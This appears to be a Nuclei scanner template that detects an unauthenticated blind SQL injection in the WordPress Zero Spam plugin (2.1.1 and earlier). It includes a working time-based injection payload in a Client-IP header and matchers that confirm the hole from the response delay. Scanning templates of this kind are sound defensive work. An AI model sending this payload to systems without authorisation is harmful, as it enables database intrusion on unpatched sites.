id: zero-spam-sql-injection

info:
  name: WordPress Zero Spam <= 2.1.1 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The WordPress Zero Spam WordPress plugin was affected by an Unauthenticated Blind SQL Injection security vulnerability.
  remediation: Fixed in version 2.2.0
  reference:
    - https://wpscan.com/vulnerability/44cc8d59-9b45-46b7-afaf-894e4ba62dd5
    - https://wordpress.org/plugins/zero-spam/
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,wpscan,wp,wp-plugin,wordpress,zero-spam,sqli,unauth

http:
  - raw:
      - |
        @timeout: 10s
        GET / HTTP/1.1
        Host: {{Hostname}}
        Client-IP: '+(select(0)from(select(sleep(7)))v)+'

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "zerospam-js")'
        condition: and
# digest: 490a00463044022100fa6a9b77f3703bb0255af2e39256c95fdaf7ad64a61eae19f120c2bee3dbf218021f3e3ba918575f5ae0b762285033dfabb1c27f229135e1c5ea943a5dd49f18cb:922c64590222798bb761d5b6d8e72950